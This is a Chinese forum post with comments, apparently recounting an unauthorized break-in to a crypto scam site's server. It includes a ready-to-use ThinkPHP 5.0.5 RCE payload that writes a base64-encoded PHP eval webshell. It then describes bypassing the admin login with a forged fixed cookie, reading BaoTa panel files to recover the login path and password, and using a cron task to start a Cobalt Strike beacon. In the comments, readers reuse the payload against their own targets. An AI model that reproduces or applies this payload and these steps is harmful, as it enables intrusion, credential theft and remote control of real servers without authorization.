最近偶然发现一个虚拟货币买涨跌的杀猪盘,遂进行了一波测试,前台长这样。
为thinkphp5.0.5随用RCE进行打入,成功写入webshell。
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))
查看发现phpinfo信息发现已经禁用所有能够执行系统命令的函数,且com和dl加载都不能用无法执行相应的系统命令如下所示:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
//php如上系统命令都已禁用
但有文件的读写权限没有禁用assert(),file_put_contents()等函数,查看后发现为windows系统如下所示:
由于php执行系统命令的函数都被禁用了,从而导致无法执行系统命令很难受。之后下载了他的网站源码简单看了一波,发现其管理员cookie固定且可以伪造如下所示看着像后门:
故可后台登录绕过,管理员cookie固定,添加cookie字段即可登录绕过。浏览器f12,在cookie中添加上述键值访问index,即可成功后台登录如下所示好多钱(被骗的人好多):
前台询问客服了解到转账账户(该杀猪盘运作方式是用户将钱打入客服提供的账号后,用户再在自己的账号冲入相应数值的资金至后台审核,审核后即可使用该数值的钱进行货币的涨跌投资买卖交易),留作证据上交:
由于之前一直无法执行系统命令,想要突破一下就开始翻他服务器上的文件,翻阅系统文件发现存在宝塔的文件夹,探测发现确实开放8888端口存在宝塔服务但默认登录入口已被修改,如下所示:
翻阅宝塔文件发现存储路径的文件名admin_path.pl,如下所示:
找到宝塔登录入口,成功访问该登录入口,如下所示:
继续翻阅发现一个default.pl的文件,该文件中存放的是相应的登录密码:
拿到密码尝试了默认用户名发现不对不能登录,继续翻文件default.db文件是记录登录记录的找到登录账号:
利用账号密码成功登录宝塔管理后台,如下所示:利用账号密码成功登录宝塔管理后台,如下所示:
找到定时任务处修改计划任务执行cs上线马,上线后在将计划任务改回如下所示:
cs成功上线如下所示:
查看ip仅有公网地址无内网,同C段还有其他几台部署的都是同一套东西就不在往下搞了:
总的就这样,没啥东西比较无味。
@我去前面探探路666666 师傅你解决了嘛?我php文件都写不进去!
这个代码好多二开的,有前台任意登录,文件读取什么的
学习了学习了
我在给客户做渗透测试,遇到的和你情况一模一样,有文件的读写权限没有禁用assert(),file_put_contents()等函数,到这里就没有思路了,也是thinkphp,请问你是怎么下载的源码,我这个目标也开放了8888和888端口,宝塔路径修改了,如果不下载源码的情况下,可以知道宝塔配置文件路径读取它的配置文件和密码吗?
@重生 QQ:2877905045
表哥微信多少
@我是小夜羽 可以使用phpinfo看下php有没禁用文件读写操作的函数
@spider 表哥你上传了一句话木马之后是windows操作系统,然后就可以随意操控文件了吗?我找到的都是linux操作系统的网站,然后用户是www,我不太会提权,然后源码也找不到在哪下载。
@spider 怪我太粗心了,找了一个https的网站,其实解决方法就是设置忽略https证书
@我是小夜羽 蚁剑的base64编码没法用的可以自己写一个或换一个可以base64编码的
@我是小夜羽 上传后的webshell能访问到吗?上面那个payload不一定都适用,具体thinkphp5的rce可以参考Y4er大佬的这篇文章https://y4er.com/post/thinkphp5-rce/
@卿i 他的前台上传在哪里呢,我知道还有一个注入。
表哥我想问一下,我使用你的这个tp5.0的payload上传了一句话,可是蚁剑连不上可能是什么原因呢?
这个源码前台也有上传